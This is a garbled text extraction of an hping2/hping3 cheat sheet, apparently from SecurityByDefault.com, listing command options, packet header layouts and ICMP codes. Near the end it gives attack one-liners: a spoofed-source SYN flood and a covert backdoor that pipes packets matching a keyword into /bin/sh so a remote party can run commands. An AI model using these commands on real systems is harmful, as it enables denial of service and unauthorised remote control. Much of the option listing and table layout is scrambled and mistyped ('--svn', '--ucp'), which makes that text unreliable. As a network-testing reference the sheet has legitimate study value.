## BASE OPTIONS IP RELATED OPTIONS TCP/UDP RELATED OPTIONS -q --quiet -s --baseport [random],+1 on received -v --version -a --spoof hostname --rand-source **-p --destport** [0] if have, have: -I --interface -V --verbose 2 --rand-dest host accepts X as wildcard increased for each reply -D --debug +port set ttl value -t --ttl ++port increased for each sent -c --count count response packets -N --id ip id [random] -i --interval secs or usecs with u [1] --keep still source port ip protocol in raw ip mode -H --ipprot --beep beep every received packet (no icmp) -w --win set win size [64] -W--winid display id replies from win **-n --numeric** don't resolv -O --tcpoff -b --badchksum id increments -r --rel use ctrl+z to increment TTL. -z --bind -M--setseg -L --setack split packets, [16bytes] -f --frag -Z --unbind -O --segnum collect seg numbers send ICMP time-exceded -x --morefrag 10 packets / sec --fase **--tcp-timestamp** set timestamp -v --dontfrag perform PDMTU --master 1 packet / us fragment offset value -g --fragoff --flood as fast as posible TCP FLAGS -G --rroute includes RECORD ROUTE -F --fin **-S** --svn **-R** --rst value -m --mtu COMMON OPTIONS -P --push -A --ack -U --urg set type of service, on hex -o --tos -d --data datasize packet body size -X --xmas -Y --vmas -E --file insert into packet's data ICMP RELATED OPTIONS -e --sign signature lenght -C --icmptype default [echo] PROTOCOL SELECTION -j --dump received packets in hex -K --icmpcode ICMP code [0] -0 --rawip -1 --icmp -2 --ucp -J --print dump in printable char --icmp-ipver ip version [4] -8 --scan with: -B --safe lost pckts will be resend --icmp-iphlen ip header length [5] *group ex*: 20-53 send EOF when --file -u --end **--icmp-iplen ip** packet lenght [real len] comma delimited ex: 1,3,4 -T --traceroute traceroute mode, also: --icmp-ipid set ip id [rand] known: for /etc/services 38 39 --tr-keep-ttl keep TTL fixed negated with !ex: 1-53,!4 **--icmp-ipproto** set ip protocol [tcp] exit on first not time icmp exceed --tr-stop -9 --listen string match **--icmp-cksum** set checksum [valid] 41-255 dont show RTT --tr-no-rtt --icmp-ts timestamp req --tcpexitcode set exit code to tcp→th flag of last packet --icmp-addr mask req

[?]: default value

## SecurityByDefault.com

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6	6   7   8   9   0   1   2   3   4   5   6   7   8   9   0   1														
Source Port	Destination Port														
T Sequence	Sequence Number														
C Acknowledgm	Acknowledgment Number														
P Data Offset Reserved cwreceurgackpshrstsynfin	Window														
Checksum	Urgent Pointer														
Options	Padding														
Data															
0 0   1   2   3   4   5   6   7   8   9   0   1   2   3   4   5	2 6   7   8   9   0   1   2   3   4   5   6   7   8   9   0   1														
Source Port	Destination Port														
P Length	Checksum														
Dat	a														

Router Advertisement 10 Router Selection 11 Time Exceeded 12 Parameter Problem 13 Timestamp 14 Timestamp Reply 15 Information Request Information Reply Address Mask Request 17 18 Address Mask Reply 19 Reserved (for security) 20-29 Reserved (Experimental) 30 Traceroute 31 Datagram Conversion Error Mobile Host Redirect 32 IPv6 Where-Are-You 33 IPv6 I-Am-Here 34 35 Mobile Registration Request 36 Mobile Registration Reply 37 Domain Name Request

ICMP CODES

Destination Unreachable

Alternate Host Address

Domain Name Reply

Padding

SKIP

Photuris

Reserved

Echo Reply

Unassigned

Unassigned

Unassigned

Redirect

Echo

Source Quench

**Uptime:** hping2 -p 80 -S --tcp-timestamp *host* **PortScan:** hping -i eth0 --scan 20-25,80,443 -S *host* Synflood: hping -p 80 -i u10000 -a source -S host S → hping3 -I eth1 -9 secret | /bin/sh

Version

Backdoor:  $\mathbf{C} \rightarrow \text{hping3} - \text{R } ip \text{ -e secret -E } command } file \text{ -d } 100 \text{ -c } 1$ 0 1 2 3 4 5 6 7 8 9 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 0 | 1 IHL TOS/DSCP/ECN Total Length Fragment Offset Identification Flags Time To Live Protocol Header Checksum Source Address Destination Address

I C M P	0   0   1   2   3   4   5   6   7   8   9   0   1   2   3   4   1										5	6	7	8	9	2	1	2	3	4	5	l	6	7	8	9	3	1	
	Version	$\overline{}$	HL				OS/DSCP/ECN						Total Length																
	Identification											Fl	Flags Fragment Offset																
	Time To I		Protocol							Header Checks									csum										
	Source Address												Destination Address																
	Type			Co	de				Checksum																				

Options